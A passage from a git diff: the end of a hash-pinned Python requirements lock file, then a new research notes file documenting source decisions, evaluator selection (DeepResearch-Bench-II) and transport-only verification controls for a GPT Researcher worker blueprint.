--hash=sha256:35dcbea443fafb3eece757ad4e514560ddeb6c34cfae1582c620d7b293d7feee \ + --hash=sha256:3f4d48a6112712973e676bd792121fee470e432d749177162d9949d5c9460a1b \ + --hash=sha256:3feb99222553a8cbedfa52c2f59dd84c3f50d5b582c728d522caf8d72769a54b \ + --hash=sha256:419f392a1da624877975709e3864dfe833af6cc7671b39318086d456e288380c \ + --hash=sha256:42a66563d8cc056ee32e6191e05097a7b2b3bc302e0bc3133daf8710eb18bd26 \ + --hash=sha256:48796ea00a303961507dc6c8437c4b325a6fc3f95f7c36c71b91ea9a8150963c \ + --hash=sha256:4bd6340d20ae2c7ca719b87b426e808e90743b676d05d4c26c4fb5ca71f41184 \ + --hash=sha256:4ca89e4e21854ed27ec753297dde84b16c9f8e53b14a4866fb44457d643c19f8 \ + --hash=sha256:4d781294bb815ecb5ea57ff6bbf8038e0a31a95fdf3e1788f66e0dc100d64b58 \ + --hash=sha256:4f1c91f5a5980a937ff8e238e98e6897e1ad74a4b1e2c0d68c73b5ffbb3f5c0b \ + --hash=sha256:564fdc7085d2245ab84f88882fdb1d6ac0723124bff6ded35bfb1c00f812630d \ + --hash=sha256:59ba3a6e1aa8cfe5adf4bd270fd965db21955401b7ca6f1696010c55ed4daec2 \ + --hash=sha256:5df89f769cc8ff94c3d7e7603386fba309d25ce5240132d26c15baa8d0e96c4c \ + --hash=sha256:632da579b2d879f6bad20f2cfa35ded1efe2f4f77f8abb26a6234a5b236acd2f \ + --hash=sha256:65b5b2066651b7432d389e9799d979c703bcc6ef44266bb8153ef54e91e4aab3 \ + --hash=sha256:664ec6a520b74a1df2810666eb67695fcb77fa663e6ea0a25aaf2e529cb24dfa \ + --hash=sha256:681c758b0490f9e96b78e5fa8e8dc6e648e9185bb6eaebe73183c33ea0c445f3 \ + --hash=sha256:683e362b8ba453080f7489c66f4ea794e751c35b72e7eab3575ef784c2fbc7fb \ + --hash=sha256:68782fdb4027b8d1eee25ec35e9a6db05e863b899eb0310b3a33b6c3fef55707 \ + --hash=sha256:6efaf45df6a849cef613a03a94c845647456662f85438c886bb67a9c027c8c2c \ + --hash=sha256:71f42c5b9a948c113bbdebfa544598321431d064ff959d32e99b1feb61d68345 \ + --hash=sha256:72849d892954be4d09e569b8b831ac39ce58417fedc767d4308a0fe542018a40 \ + --hash=sha256:72c34ac7ad4314c19362d5ce27626dcc8429bd30bbf8c179f4234078851f9492 \ + --hash=sha256:734f6e5400352ac4254456003d462866c684703570929cff7a7bde015d0cb371 \ + --hash=sha256:75baa6cf9b6d1c52f3e111a130e202fd8cf0a5b3a066c3f73d615e885092e4ec \ + --hash=sha256:77716e245c90f058466a05e6a465bb8600f767a8f4b18b4d40f3aff958e5f73c \ + --hash=sha256:77e5099b99b37f3cf79c246998ca9f7313a78054cd1809ec46bc1afad47e1c4c \ + --hash=sha256:783dd1467083f4d3f7722ad6a313f24c173e7571372738fcb7a6e6d1ba48df25 \ + --hash=sha256:7a5c3115595995779ee21f2567035793911c3802a43c74f3fbb0314929ec67ac \ + --hash=sha256:7c88edaec8c349ad4c5ad4c486a3defcc4b80ceb2f074436ffa0a87caf5e76a6 \ + --hash=sha256:7cb414a73e21a7ab58254926073f2930cb22f5b4314ea4260a687e2b3fd4dce3 \ + --hash=sha256:7d42e7e3ca399555578b4d617e3a6ecf13371b3743a115995fa010c7bf341459 \ + --hash=sha256:7d575b54cb3863ef9bc290ea4b009999d55dc237326131e4853cf33e888fee03 \ + --hash=sha256:7e4de3ac4adbad3d0bc7c6f4360a7dbff5de2f15e3b723be3198074e17fd9c40 \ + --hash=sha256:7efc9f082dfed77c316edffa9deb52888e1bc6789171887cc1f68e06d65465c8 \ + --hash=sha256:80a063f8297fc796296f00f100be520f209b23dc98f93ce8eba6ee7122598209 \ + --hash=sha256:80e47012e730da131c9f059c80936783f9659aae22dc31c03c0595590d11ed54 \ + --hash=sha256:83d4a37e4b95da4d8bda930d6d35b75b4cdadbacbb4980cae290ea3100b5d51d \ + --hash=sha256:83e9f4a25085bd4b7214701a0794ff1f50fc633ffb8bdfebf07abdd81c2db126 \ + --hash=sha256:85a18376073f8a39aa07be34f9fc77e2869aa72c55c441efdd2cf79a0407504d \ + --hash=sha256:87796fedc3ba97ec14fab55acb48584276e6c1e4c1e89c422bda62c838e754a9 \ + --hash=sha256:882569ff613758cac762a457a5d72d6e211b28d4bcfea89d1d71ea942b02eac0 \ + --hash=sha256:8ce4d6ccafb33d39bd78444612d14938ead674c25702ded2ee9c54a47735d225 \ + --hash=sha256:8e7d98cdbb6d71e726f7d525952867096053d1f290dd4e3c50d7d313a136f414 \ + --hash=sha256:8ee202350cf57abf0e9502a41601841019c25d3db7ff52d980aaf31446254059 \ + --hash=sha256:8fb0eb4955adf0579001581f2f71a126e8781ba61bcd120f127b0401163c6c2d \ + --hash=sha256:90c30ed53546da833c700115c0064c22120d1b1560f474699fd31f22dd668233 \ + --hash=sha256:9489e6abf47ba37f332075a91444c7cfedb03e6ce99fbb2f116bfe1ce810da3b \ + --hash=sha256:94d7aa6debf92a1dd14cb5280b083a764169a13cfb23a452111160274ed989f4 \ + --hash=sha256:98d370568f393215d605304cdb77b3d5539bd192c75b623c7304c42c8d6d8273 \ + --hash=sha256:9b1bdaae98bc016825dd3c9d8ee1832f829b3341f9cc6ebd1a1b0a7fef7367cc \ + --hash=sha256:9d693bf4bf534e9ba3ae2780cfd577f5135629f7b5ac653490859d0b77864865 \ + --hash=sha256:9d6ed3d17bccce4c05343e1ca8da13bc5c02c812a4e7282ddd05e8769322d3fc \ + --hash=sha256:9e23c82b63cd7652fc24d33ed6cc17099d607aa3b4fc4ddc75e95062f3d82df4 \ + --hash=sha256:a1daf47cd95a7c3a63456336bc5aaa8c86dd3a47d07ed3d0e76132ae4666a5a1 \ + --hash=sha256:a1e32763e641a1566507d90a8d3b19bfc3cc04a9d4e5ae3e32189874ed4b58a3 \ + --hash=sha256:a2059a2d891bd156bc5184e7ab7a56e78a84dfcfdeac8c501b552533ad1c36ee \ + --hash=sha256:a2ed0ba415ccdf08f14bf544cb78346d0f76086707ffee24921a2c84dbf1305a \ + --hash=sha256:a3faadac7d812ddac258feb57b9846b60c1b437c4f4b9ad42595c6f6fe4390df \ + --hash=sha256:a5877f2255aab518ebe528289037699201d5dc5f045f2396cb30aa02db22f57f \ + --hash=sha256:a78b50b4f7918a3de71105d5c0b93bbc57bb8339a4d03a9dfd449f9068e76f3d \ + --hash=sha256:a8c2b841478068440d8b733005d13a5ef535b9928cbc05f17182d410f32ba449 \ + --hash=sha256:a9ca696eb02e5c02a8afd872ada510eba9b7fe6e68b9572c2e9a9b1941e31e2e \ + --hash=sha256:aa4ed3dd308548f9e707d9caaf005d2d7f8c1e7868f858dfeb47fe76e16b391d \ + --hash=sha256:ab2054c5531af2a9ba7b69b8ec91e4f884420e83a8c5e579b013084cb57e5e5d \ + --hash=sha256:abb1384477f5901d436b5d2e5465954de46ea6098f59163d243660b5c4461d35 \ + --hash=sha256:acae6b45d1ace09b6ba3876da43b88366ef368f73b988c7f57e14231753d4420 \ + --hash=sha256:acfa7e22aa6c6e7a5996a41d275bfa01efa7ea56ab890590280e9063e2cf5c1b \ + --hash=sha256:af4ea5b37403ef4e30f3927eaed540db942bde01d8d3ff083527c0704d1c9c68 \ + --hash=sha256:b10dd0557ba422715b5206b3743192135a6022acca8baec51aa127d0a75db8fe \ + --hash=sha256:b13b88747769537f3d32e89e3a735da10c0a9e35d7322928c701b5f93d3afffd \ + --hash=sha256:b51c159a9794633f5e0db7ecec7b2b6e3734eca1f5d17dc989ff3552a43ff78b \ + --hash=sha256:b5402a340723fa7da00b5cff987ddab61276be6d11251ea71ae02bcac54890d8 \ + --hash=sha256:b7abffdf37af1cec6a2ad69b827aa84320db5894791bc8ed932dc93fb274b7e9 \ + --hash=sha256:b8075fe90bc08e40b8b8a1874fab42ee4c7b56af05c5886e9cc841397f916908 \ + --hash=sha256:bc3ac7bf569f6b64dad04dd7808c7872dae8a97df657856eac05e9b7e3614a85 \ + --hash=sha256:bd0912757081f89b107d6c00b2ff8a194401b0b87eadcf4481de2b865a8fd44f \ + --hash=sha256:bdc8d8b8c22e9e43ac68316b5e6cf083dec537f4ec213cb4aa967b583bc3fa64 \ + --hash=sha256:be80550d9bfe83d9b62398a37081a90434e6df2d978ec345c3d2820de6beddab \ + --hash=sha256:c6f117789d22dce188e5754e8bc65b7e6ebf8cb73963b9fa761f672a5883769d \ + --hash=sha256:ca32926d7d77bcc8838425c4c95e040a3ace1cb7dfdae599013458dcda2607ca \ + --hash=sha256:cce0727fd5ac04d372fa9bbfde9febc2bcf209aadfcf0468e45dec72719895d1 \ + --hash=sha256:d0f1489233a254bb3643d2f05de7d59019254d81daeca6b9162fe9edef57e0c7 \ + --hash=sha256:d1c557dfd5e3db046053a0bdc72261ade790ebe8e2c7a41b36b0ca1f14cb95f3 \ + --hash=sha256:d21f0fa80a02d05299207eeaafef345d812ace96d5306e4ef265e1d419a615fa \ + --hash=sha256:d45673badd08456d0340e9364eddafe1c53a9d2896424294de4d7dd71ad3ee57 \ + --hash=sha256:d5add7b4ca7afeea91d52e4d4e4db3b1fe9885b71f07054560d8c4296b7441a2 \ + --hash=sha256:d5f90e44653c4e0f78501ed9bb7d3fce835a8d62b7c6ed0cb16557534087e743 \ + --hash=sha256:d7306dee25b8a0e737363f347362b875094b4dc4e367311470656ae420fdbf8e \ + --hash=sha256:dbcef5a9119ef653653132cccaf999b30a0af6f33bb0a4ba80bec30056868487 \ + --hash=sha256:def538065f9e4d4cf1ae164bd59aba00dfa84f03923e0de4c3788f252d6bcd17 \ + --hash=sha256:df23df54b5114a17c2d0ef192433e2e5a9f0c5178c32375e90b7cfc965f349d0 \ + --hash=sha256:dfbf531053a0935f2e871bcd4753f90313688772ff8c017f5ea402e315a78c1f \ + --hash=sha256:e029648f9c951db30e98a7d7ec90835db88ec4b32820efe2a9bdc2287e032eb6 \ + --hash=sha256:e07595c7d6f4db270ceede356a1bd1c07a34f1c26f958d1ed0cd7b48e0d2bba3 \ + --hash=sha256:e12c538e00e7c1b286a07061046b90e8124e6a9793efae2c70db6a4aad07faad \ + --hash=sha256:e546fe1d4a93ebc2910f0d768baff19faa09843ab3f2036a67ed6e69fae4419d \ + --hash=sha256:e5637ca8d0bd7fb72648a6c7934af4baaccb697657f7438c9d264fc2abb8b0b1 \ + --hash=sha256:e636b64d24fd9c38053c5e389a1174c66361fa49dcfd220f4dd35b4abde7cb89 \ + --hash=sha256:e7011b8fb8c4054bf0c12e5edc6cd83778b0028e99ce59b18586ed036f92cfdc \ + --hash=sha256:e80f557716fd765439577131e526b8942ffc2c07bdbc5e39fa62f660ba1e963f \ + --hash=sha256:e92b6bcc741b86d67606c40d3cb9c7cc8e6c737f81e31f4a94efc204456c92e3 \ + --hash=sha256:eb96ed1ae6c7d072d60840c0434aef07a2df611812810807fbc54263a6053e9a \ + --hash=sha256:eda19ea5ee88742f47a2340816e6f2d40b53bed3ab5b69794769f36af9f35bb4 \ + --hash=sha256:ef74070ac553c59eb4f04258722066d6c6135b7baa03b2e9f2da65c096e96d98 \ + --hash=sha256:efb01a106f971cb3752856bca2318bbdf7f01bd8823779c461586cbe5ffd5258 \ + --hash=sha256:f074e8d4aa0a5798920ddb6de3d08b228c614ff3724c3e8bd7577f4bafea867b \ + --hash=sha256:f38a70074041d3b7e138e452799f5174198bae5bd5ab2000917badf403908c5f \ + --hash=sha256:f41753a76f4f63927d03a0d8ba8f5ce0f2083bec29a8cfaccc55371b1564b96b \ + --hash=sha256:f53dcd26694f148f738edc052b5a69234833e739f10f4c3287bdfd8ec0f7b326 \ + --hash=sha256:f61964f235a43738bfac50da46fc4254943a7eea3051aeb0b6fc7c992c29fadc \ + --hash=sha256:fe01645169a2112aa1d4ebc3e4c5f029c5c8f97adfc32e5d37c993b39a994d75 +zipp==4.1.0 \ + --hash=sha256:25ad4e16390cd314347dd8f1de67a2ac538ae658ed4ab9db16029c07c188e97f \ + --hash=sha256:4cb57381f544315db7688e976e922a2b18cdb513d21cc194eb42232ba2a3e602 +zopfli==0.4.3 \ + --hash=sha256:0087c9a6f0c8a052be0f6d1a9bb71b6caffdd3e10201d6d6166e28d482cebe6d \ + --hash=sha256:47604eee5c6704bdf0e94d8391fe3b74ddb2abd84128fbcfdc3ee0fc265feaef \ + --hash=sha256:62248dbf8dbcbd588ee194b210e5be9fa80bce29641f55599d6d394bd2a9d8a3 \ + --hash=sha256:628c3e941752880b3491db8d44163d0aedb221944e22a17187ff7fc549b050f6 \ + --hash=sha256:769875152d0625c46707bcca57d4b2233fe653482067acd55fbf6ec525cb9bdc \ + --hash=sha256:7e9703ca6e7ef66c8d05e0826b6f558b680c9db8206f84f05a3ee93430a12e42 \ + --hash=sha256:7fa3c35193475290e3f007bbcdebdbae64ba2f012d75c632da0d727e1da50d5e \ + --hash=sha256:88f4fbe429aad72bc206275d81fab11a097e0f951a5848d1f51083c37ea73073 \ + --hash=sha256:921c2c9907f4364963848da5ad194b46d68865e07fdb975d04fd09bc42d47357 \ + --hash=sha256:d3a50f91a13cea9bafe025de8fd87a005eb26de02a4f0c193127ddbf23ac8ebe \ + --hash=sha256:d4f51dd1ab5312e837e2091284e0d9f1a138188f2e65812f9a5799dc02c45f94 \ + --hash=sha256:eb0c9c1d40a8cb1d58762d7e57290ccb753e0828c4d01be8acb59aae5d0ca206 \ + --hash=sha256:f2e0adcf7d36c6fd0dd36cc771ef7f0c5803a05666feafcd90d7170174a4148e +zstandard==0.25.0 \ + --hash=sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64 \ + --hash=sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a \ + --hash=sha256:05353cef599a7b0b98baca9b068dd36810c3ef0f42bf282583f438caf6ddcee3 \ + --hash=sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f \ + --hash=sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6 \ + --hash=sha256:07b527a69c1e1c8b5ab1ab14e2afe0675614a09182213f21a0717b62027b5936 \ + --hash=sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431 \ + --hash=sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250 \ + --hash=sha256:106281ae350e494f4ac8a80470e66d1fe27e497052c8d9c3b95dc4cf1ade81aa \ + --hash=sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f \ + --hash=sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851 \ + --hash=sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3 \ + --hash=sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9 \ + --hash=sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6 \ + --hash=sha256:19796b39075201d51d5f5f790bf849221e58b48a39a5fc74837675d8bafc7362 \ + --hash=sha256:1cd5da4d8e8ee0e88be976c294db744773459d51bb32f707a0f166e5ad5c8649 \ + --hash=sha256:1f3689581a72eaba9131b1d9bdbfe520ccd169999219b41000ede2fca5c1bfdb \ + --hash=sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5 \ + --hash=sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439 \ + --hash=sha256:22a06c5df3751bb7dc67406f5374734ccee8ed37fc5981bf1ad7041831fa1137 \ + --hash=sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa \ + --hash=sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd \ + --hash=sha256:25f8f3cd45087d089aef5ba3848cd9efe3ad41163d3400862fb42f81a3a46701 \ + --hash=sha256:2b6bd67528ee8b5c5f10255735abc21aa106931f0dbaf297c7be0c886353c3d0 \ + --hash=sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043 \ + --hash=sha256:3756b3e9da9b83da1796f8809dd57cb024f838b9eeafde28f3cb472012797ac1 \ + --hash=sha256:37daddd452c0ffb65da00620afb8e17abd4adaae6ce6310702841760c2c26860 \ + --hash=sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611 \ + --hash=sha256:3b870ce5a02d4b22286cf4944c628e0f0881b11b3f14667c1d62185a99e04f53 \ + --hash=sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b \ + --hash=sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088 \ + --hash=sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e \ + --hash=sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa \ + --hash=sha256:4b14abacf83dfb5c25eb4e4a79520de9e7e205f72c9ee7702f91233ae57d33a2 \ + --hash=sha256:4b6d83057e713ff235a12e73916b6d356e3084fd3d14ced499d84240f3eecee0 \ + --hash=sha256:4d441506e9b372386a5271c64125f72d5df6d2a8e8a2a45a0ae09b03cb781ef7 \ + --hash=sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf \ + --hash=sha256:51526324f1b23229001eb3735bc8c94f9c578b1bd9e867a0a646a3b17109f388 \ + --hash=sha256:53e08b2445a6bc241261fea89d065536f00a581f02535f8122eba42db9375530 \ + --hash=sha256:53f94448fe5b10ee75d246497168e5825135d54325458c4bfffbaafabcc0a577 \ + --hash=sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902 \ + --hash=sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc \ + --hash=sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98 \ + --hash=sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a \ + --hash=sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097 \ + --hash=sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea \ + --hash=sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09 \ + --hash=sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb \ + --hash=sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7 \ + --hash=sha256:75ffc32a569fb049499e63ce68c743155477610532da1eb38e7f24bf7cd29e74 \ + --hash=sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b \ + --hash=sha256:78228d8a6a1c177a96b94f7e2e8d012c55f9c760761980da16ae7546a15a8e9b \ + --hash=sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b \ + --hash=sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91 \ + --hash=sha256:81dad8d145d8fd981b2962b686b2241d3a1ea07733e76a2f15435dfb7fb60150 \ + --hash=sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049 \ + --hash=sha256:89c4b48479a43f820b749df49cd7ba2dbc2b1b78560ecb5ab52985574fd40b27 \ + --hash=sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a \ + --hash=sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00 \ + --hash=sha256:9174f4ed06f790a6869b41cba05b43eeb9a35f8993c4422ab853b705e8112bbd \ + --hash=sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072 \ + --hash=sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c \ + --hash=sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c \ + --hash=sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065 \ + --hash=sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512 \ + --hash=sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1 \ + --hash=sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f \ + --hash=sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2 \ + --hash=sha256:a51ff14f8017338e2f2e5dab738ce1ec3b5a851f23b18c1ae1359b1eecbee6df \ + --hash=sha256:a5a419712cf88862a45a23def0ae063686db3d324cec7edbe40509d1a79a0aab \ + --hash=sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7 \ + --hash=sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b \ + --hash=sha256:ab85470ab54c2cb96e176f40342d9ed41e58ca5733be6a893b730e7af9c40550 \ + --hash=sha256:b9af1fe743828123e12b41dd8091eca1074d0c1569cc42e6e1eee98027f2bbd0 \ + --hash=sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea \ + --hash=sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277 \ + --hash=sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2 \ + --hash=sha256:c2ba942c94e0691467ab901fc51b6f2085ff48f2eea77b1a48240f011e8247c7 \ + --hash=sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778 \ + --hash=sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859 \ + --hash=sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d \ + --hash=sha256:d8c56bb4e6c795fc77d74d8e8b80846e1fb8292fc0b5060cd8131d522974b751 \ + --hash=sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12 \ + --hash=sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2 \ + --hash=sha256:e05ab82ea7753354bb054b92e2f288afb750e6b439ff6ca78af52939ebbc476d \ + --hash=sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0 \ + --hash=sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3 \ + --hash=sha256:e59fdc271772f6686e01e1b3b74537259800f57e24280be3f29c8a0deb1904dd \ + --hash=sha256:e7360eae90809efd19b886e59a09dad07da4ca9ba096752e61a2e03c8aca188e \ + --hash=sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f \ + --hash=sha256:ea9d54cc3d8064260114a0bbf3479fc4a98b21dffc89b3459edd506b69262f6e \ + --hash=sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94 \ + --hash=sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708 \ + --hash=sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313 \ + --hash=sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4 \ + --hash=sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c \ + --hash=sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344 \ + --hash=sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551 \ + --hash=sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01 diff --git a/blueprints/runtime-workers/gpt-researcher/research.md b/blueprints/runtime-workers/gpt-researcher/research.md new file mode 100644 index 000000000..f97d1ef20 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/research.md @@ -0,0 +1,216 @@ +> Historical source research for rounds 1–2. Round-3 policy, dispatch, retry and +> accounting corrections are in [README.md](README.md) and +> [round3-verification.json](round3-verification.json); earlier host execution +> authority and overlapping-usage descriptions below are superseded. + +# Source review — 2026-09-27 + +## Round 2 source decisions (recorded before implementation) + +The supplied `eval-frameworks/report.md` and `report2.md` select +[DeepResearch-Bench-II at b38f360603db9531b102aef8c166cedb8509b6f6](https://github.com/imlrz/DeepResearch-Bench-II/tree/b38f360603db9531b102aef8c166cedb8509b6f6) +for this direct report-producing worker. Adopt its unchanged evaluator prompt, +rubric scoring and aggregation through the README's `uv sync` installation. +The runner-up is [DeepResearch Bench I at 852f4022d1f98fb707222e395405136e8f0e8d52](https://github.com/Ayanami0730/deep_research_bench/tree/852f4022d1f98fb707222e395405136e8f0e8d52): +RACE/FACT adds reference-report and citation-refetch contracts; it is not the +selected information/analysis/presentation rubric contract. Neither supplies a +direct GPT Researcher runner. Keep only report export, gateway transport and +malformed-output rejection as local glue; remove the local fact-string verdict. + +Installed-client preflight found no GPT Researcher, OpenAI SDK or HTTPX in the +builder's Python. No install or native acceptance is claimed. Release v3.7.0 +notes and exact source were rechecked. Search-first and find-skills discovery +found the official outer-agent GPT Researcher skill again in the skills.sh +search API; it does not establish an internal SKILL.md loader. No skill install +was run. GitHub CLI authentication/network and web.open were unavailable; +context-mode HTTPS fetched exact public source bytes into external scratch. +The mapping's maintenance evidence is discovery evidence, not measured quality. + +Transport references are GPT Researcher `GenericLLMProvider.from_provider` +at the existing source pin; [LangChain OpenAI 1.6.6 client injection](https://github.com/langchain-ai/langchain/blob/langchain-openai%3D%3D1.6.6/libs/partners/openai/langchain_openai/chat_models/base.py#L1022-L1034); +[HTTPX 0.28.1 request hooks](https://github.com/encode/httpx/blob/0.28.1/docs/advanced/event-hooks.md); +and DRB-II `gpt_client.py:85-138`. These expose the narrowly scoped transport +seams needed for headers without editing upstream source. DRB-II's prompt +specifies `results[]` objects with rubric_item, score (-1/0/1), reason and +evidence; a closed JSON schema can enforce that existing wire contract. +Native MCP calls already use `bind_tools`; native planner JSON is otherwise +prompted free text with json_repair, a remaining upstream constraint gap. + +Use the upstream dataset's unchanged English task 12, including its original +blocked-reference rules. Freeze full dataset, raw row and prompt SHA256 before +any run. Keep scores as upstream scores: the evaluator defines no global binary +pass threshold. Unit controls here test transport only and are not benchmark +acceptance. No A/B superiority is claimed without matched real runs. + +Round-2 anti-pattern handoff for the coordinator's shared log (outside this +worker's edit scope): exact fact strings in a locally written checker cannot +provide the requested upstream research-quality verdict. The old four-test +suite passed unchanged (exit 0), demonstrating only its local contracts. +Missing evaluator rows and native evaluator error rows must also fail transport +completion even when upstream's CLI exits zero. Controls below are retained +with actual fail-first output after execution. + +Additional observed corrections: the read-only SQLite connection context in +round 1 closed transactions but not the connection (Python emitted an unclosed +connection ResourceWarning); use `contextlib.closing` and preserve the value-free +read-only control. A synthetic native-CSV receipt control exposed that matching +two report copies did not bind them to previously captured scores when both +copies changed. It failed with `Changed report wrongly accepted alongside old +upstream scores`, exit 1. The adapter now records the original report SHA256 and +rechecks it against both exports and the worker result; the same control and the +unit report-binding control then passed. These checks validate transport only. + +The exact DRB-II archive and each pinned file were independently verified +against archive members. Unchanged `aggregate_scores.py` was executed on three +synthetic controls using the frozen upstream task: score 1 produced total 1.0 +and blocked_rate 0.0; score 0 produced 0.0/0.0; score -1 produced 0.0/1.0. +Every native aggregation command exited 0. This is execution of the upstream +aggregation component, not a new model evaluation or benchmark-quality result. + +`PYTHONDONTWRITEBYTECODE=1 python3 scripts/validate.py` found stale SHA256/byte +counts for the twelve modified, already registered recipe/test files. The +coordinator owns `manifests/evidence.json`, outside this worker's bounded file +ownership. Keep this actual failure in the round-2 receipt; the coordinator +must re-register the final owned files and new adapter/evidence files before +publication. Do not replace that result with an imagined passing validation. + +## Round 1 source review (historical) + +Scope: a recipe only, on the foundation lane; no installation, provider request, +service startup or git metadata changes. This worker is not adopted by catalog +inclusion. Installed-client check: `importlib.util.find_spec('gpt_researcher')` +returned false. Native help/tests therefore remain host work. Reviewed release +notes next, then the tag source, then dependency source and official docs. + +## Decisions and primary sources + +- Selected by the user's brief: [GPT Researcher v3.7.0](https://github.com/assafelovic/gpt-researcher/releases/tag/v3.7.0), + lightweight tag commit `0957c301ed06c2a5857b834358c7227c739041d4`. +- [Tag pyproject](https://github.com/assafelovic/gpt-researcher/blob/v3.7.0/pyproject.toml#L25-L31) + declares version `0.16.0`, Python >=3.12. The [PyPI metadata](https://pypi.org/pypi/gpt-researcher/0.16.0/json) + supplies wheel/sdist digests. A byte comparison of 122 Python files in the wheel + against the tag found 67 identical, 55 different. The wheel has neither + `context/lexical.py` nor `context/select.py`. Use the tag archive, not that wheel. + The archive digest in pins.json is a local SHA256 of actual downloaded bytes, + not an upstream signature. The tag has no uv.lock or poetry.lock. +- [Native source install](https://github.com/assafelovic/gpt-researcher/blob/v3.7.0/docs/docs/gpt-researcher/getting-started/getting-started.md#L58-L90) + and [SDK use](https://github.com/assafelovic/gpt-researcher/blob/v3.7.0/README.md#L140-L175) + are the integration references. Generate a local dependency lock from the + unchanged tag metadata; label it as local integration, not an upstream lock. +- [LLM overrides](https://github.com/assafelovic/gpt-researcher/blob/v3.7.0/gpt_researcher/utils/llm.py#L83-L117) + reach [ChatOpenAI](https://github.com/assafelovic/gpt-researcher/blob/v3.7.0/gpt_researcher/llm_provider/generic/base.py#L167-L174). + [LangChain OpenAI 